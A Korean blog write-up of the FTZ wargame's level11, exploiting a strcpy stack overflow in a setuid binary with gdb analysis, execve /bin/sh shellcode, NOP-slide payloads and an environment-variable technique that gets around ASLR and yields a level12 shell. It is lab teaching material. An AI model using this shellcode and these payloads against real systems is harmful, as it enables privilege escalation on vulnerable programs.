Jaeseo's Information Security Story

FTZ - level11 - WriteUp 본문

Write UP/FTZ

FTZ - level11 - WriteUp

Jaeseokim 2019. 11. 15. 22:45

FTZ - level11 - WriteUp

level11:what!@#$?

이번 문제는 bof의 개념에 대해 확실히 공부하게 되는 좋은 문제였습니다.

bof에 대해 개념이 부족하시다고 생각하시는 분은 달고나 bof기초문서를 꼭 한번 읽어보시고 하시는 게 좋습니다.

일단 Hint파일을 봅니다.

[level11@ftz level11]$ cat hint

#include <stdio.h>
#include <stdlib.h>

int main( int argc, char *argv[] )
{
    char str[256];

     setreuid( 3092, 3092 );
    strcpy( str, argv[1] );
    printf( str );
} 


[level11@ftz level11]$ ls -la | grep attackme 
-rwsr-x---    1 level12  level11     13733 Mar  8  2003 attackme

HInt 파일을 보면 어떤 프로그램에 대한 소스 코드를 알려주는 모습이 보입니다.

그리고 또한 attackme라는 level12의 권한으로 setUid가 설정되어 있는 것을 볼 수 있습니다.

이제 이것을 가지고 bof를 합니다.

일단 소스를 보면 strcpy함수를 사용하는데 strcpy함수는 cpy를 할때 buf크기에 대한 검증을 하지 않아 bof에 취약한 함수입니다.

디버깅을 하기 위해 일단 소스코드를 가지고 프로그램을 만들어 줍니다.

[level11@ftz tmp]$ gcc -g test.c -o test.out 

그리고 gdb를 통해 프로그램을 디버깅합니다.

(gdb) set disassembly-flavor intel 
(gdb) disassemble main
Dump of assembler code for function main:
0x08048394 <main+0>:    push   ebp
0x08048395 <main+1>:    mov    ebp,esp
0x08048397 <main+3>:    sub    esp,0x108 //esp 공간 확보 264byte
0x0804839d <main+9>:    and    esp,0xfffffff0
0x080483a0 <main+12>:    mov    eax,0x0
0x080483a5 <main+17>:    sub    esp,eax
0x080483a7 <main+19>:    sub    esp,0x8 //esp 공간 확보 8byte 총 272byte
0x080483aa <main+22>:    push   0xc14
0x080483af <main+27>:    push   0xc14
0x080483b4 <main+32>:    call   0x80482c4 <setreuid>
0x080483b9 <main+37>:    add    esp,0x10
0x080483bc <main+40>:    sub    esp,0x8
0x080483bf <main+43>:    mov    eax,DWORD PTR [ebp+12]
0x080483c2 <main+46>:    add    eax,0x4
0x080483c5 <main+49>:    push   DWORD PTR [eax]
0x080483c7 <main+51>:    lea    eax,[ebp-264]
0x080483cd <main+57>:    push   eax
0x080483ce <main+58>:    call   0x80482d4 <strcpy> //취약한 strcpy함수
0x080483d3 <main+63>:    add    esp,0x10
0x080483d6 <main+66>:    sub    esp,0xc
0x080483d9 <main+69>:    lea    eax,[ebp-264]
0x080483df <main+75>:    push   eax
0x080483e0 <main+76>:    call   0x80482b4 <printf>
0x080483e5 <main+81>:    add    esp,0x10
0x080483e8 <main+84>:    leave  
0x080483e9 <main+85>:    ret    
End of assembler dump.

어셈블리어를 보면 초기에 264 byte를 확보하고 추가로 8byte, 총 272byte를 확보하는 모습을 볼 수 있습니다.

이것을 보는 것으로 아래와 같은 스택 구조가 되어 있는 것을 짐작할 수 있습니다.

스택 구조
Data - 256byte
Dummy Data - 8byte
SFP(Stack Frame Pointer) - 4byte
RET(Return Address) - 4byte

그럼 이제 인자 값을 넘길 때 268byte만큼을 아무 데이터로 채워주고 나머지 4byte ret에 해당하는 데이터는 shell code 주소로 채워 주면 된다는 결론이 나옵니다.

이때 data에 있는 주소를 기준으로 return 시켜봅니다.

(gdb) b *main+63
Breakpoint 1 at 0x80483d3: file test.c, line 9.
(gdb) run `python -c 'print "A"*256+"B"*8+"C"*4+"D"*4'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/level11/tmp/test.out `python -c 'print "A"*256+"B"*8+"C"*4+"D"*4'`

Breakpoint 1, 0x080483d3 in main (argc=0, argv=0xbffff814) at test.c:9
9                    strcpy( str, argv[1] );
(gdb) x/100x $esp-50
0xbffff67e:    0x39140804    0x0a144200    0x53604213    0x841c4001
0xbffff68e:    0xf7c80804    0xbcc0bfff    0xffff4000    0x0c14ffff
0xbffff69e:    0x9dd00000    0x53604207    0xf7c84001    0x83d3bfff
0xbffff6ae:    0xf6c00804    0xfb26bfff    0x5b88bfff    0x00014001
0xbffff6be:    0x41410000    0x41414141    0x41414141    0x41414141
0xbffff6ce:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff6de:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff6ee:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff6fe:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff70e:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff71e:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff72e:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff73e:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff74e:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff75e:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff76e:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff77e:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff78e:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff79e:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff7ae:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff7be:    0x42424141    0x42424242    0x43434242    0x44444343
0xbffff7ce:    0x00004444    0xf8140000    0xf820bfff    0x582cbfff
0xbffff7de:    0x00024001    0x82e40000    0x00000804    0x83050000
0xbffff7ee:    0x83940804    0x00020804    0xf8140000    0x83ecbfff
0xbffff7fe:    0x841c0804    0xc6600804    0xf80c4000    0x0000bfff

이제 메모리 스택을 보면 아래와 같은 주소 형태를 가지고 있는 것을 볼 수 있습니다.

스택 구조
Data - 256byte - [0xbffff6c0] ~ [0xbffff7bf]
Dummy Data - 8byte - [0xbffff7c0] ~ [0xbffff7c7]
SFP(Stack Frame Pointer) - 4byte - [0xbffff7c8] ~ [0xbffff7cb]
RET(Return Address) - 4byte - [0xbffff7cc] ~ [0xbffff7cf]

이 주소를 이용하여 shell코드를 삽입하고 불러오도록 payload를 짜 보겠습니다.

일단 shellcode는 아직 짜는 실력이 미숙하기 때문에 구글에서 검색을 하여 가져 왔습니다.

25byte shellcode : \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

일단 한번 Nop Slide구조로 data 256 + dummy 8을 이용하여 작성하겠습니다.

239byte를 NOP으로 채우고 나머지 25byte를 shellcode를 넣어준 다음 SFP는 아무 코드 4byte를 집어넣어주고 RET에 DATA 시작 주소를 리틀 엔디안 형식으로 작성하여 작동하도록 합니다.

[level11@ftz level11]$ ./attackme `python -c 'print "\x90"*239+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"A"*4+"\xc0\xf6\xff\xbf"'`

이제 작동을 하면 Segmentation fault이라는 오류 메시지를 볼 수 있는데 ASLR : Address Space Layout Randomization기법을 사용하여 프로세스를 사용할 때마다 동적으로 데이터의 주소가 변경되어 오류가 발생합니다.

한번 test 소스를 수정하여 실제로 적용이 되었는지에 대해 확인합니다.

#include <stdio.h>
#include <stdlib.h>

int main( int argc, char *argv[] )
{
    char str[256];
    setreuid( 3092, 3092 );
    strcpy( str, argv[1] );
    printf( str );
    printf("\n0x%x\n",str);
} 
[level11@ftz tmp]$ ./test.out test
test
0xbfffead0
[level11@ftz tmp]$ ./test.out test
test
0xbfffe050
[level11@ftz tmp]$ ./test.out test
test
0xbfffedd0
[level11@ftz tmp]$ ./test.out test
test
0xbffff150
[level11@ftz tmp]$ ./test.out test
test
0xbfffdd50

위와 같이 실행을 할 때마다 주소 값이 변경되는 것을 볼 수 있습니다.

이제 이점을 우회할 수 있는 새로운 방법의 payload를 짜 봅니다.

환경변수의 주소 값이 메모리상에서 변화가 거의 없는 점을 이용하여 짜 봅니다.

일단 shellcode를 환경변수로 등록합니다. 이때 NOP SLIDE를 사용하여야 합니다.

[level11@ftz tmp]$ export ATTACK=`python -c 'print "\x90"*10000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

nop slide를 미사용 했을 때의 문제점은 뒤에서 설명하겠습니다.

일단 이제 환경변수의 주소를 가져오는 프로그램을 작성합니다.

#include <stdio.h>

int main(int argc, char **argv){
        printf("%s : 0x%x\n",argv[1],getenv(argv[1]));
        return 0;
}

getenv 함수를 이용하여 주소를 가져옵니다.

이 프로그램을 이요하여 $ATTACK의 주소를 가져옵니다.

[level11@ftz tmp]$ ./getEnv.out ATTACK
ATTACK : 0xbfffd84d

이제 주소가 위와 같이 되어 있는 점을 볼 수가 있습니다.

하지만 아래와 같이 다른 환경변수에 영향을 주게 되면 주소가 조금씩 달라지는 점을 확인할 수 있습니다.

아마 pwd와 같은 환경변수처럼 경로에 따라 변수 내용이 달라지고 그 결과 ATTACK의 주소 값도 조금씩 변경되는 것 같습니다. 그래서 Nop Slide 기법을 활용해서 주소가 조금 오차가 생기더라도 NOP를 타고 맨 마지막에 있는 shellcode가 동작하도록 합니다.

[level11@ftz tmp]$ ./getEnv.out ATTACK
ATTACK : 0xbfffd84d
[level11@ftz level11]$ ./tmp/getEnv.out ATTACK
ATTACK : 0xbfffd845
[level11@ftz /]$ /home/level11/tmp/getEnv.out ATTACK
ATTACK : 0xbfffd82d

이제 공격을 시도해봅니다.

ret주소 전까지 NOP코드를 채우고 그다음 환경변수에 대한 주소를 리틀 엔디안 방식으로 작성해줍니다.

[level11@ftz level11]$ ./attackme `python -c 'print "\x90"*268+"\x4d\xd8\xff\xbf"'`
sh-2.05b$ whoami
level12
sh-2.05b$ my-pass
TERM environment variable not set.

Level12 Password is "it is like this".

sh-2.05b$ 

Level12:it is like this

'Write UP > FTZ' 카테고리의 다른 글

FTZ - level13 - WriteUp  (2) 2019.11.19
FTZ - level12 - WriteUp  (0) 2019.11.18
FTZ - level10 - WriteUp  (0) 2019.11.13
FTZ - level9 - WriteUp  (0) 2019.11.12
FTZ - level8 - WriteUp  (0) 2019.11.11
Comments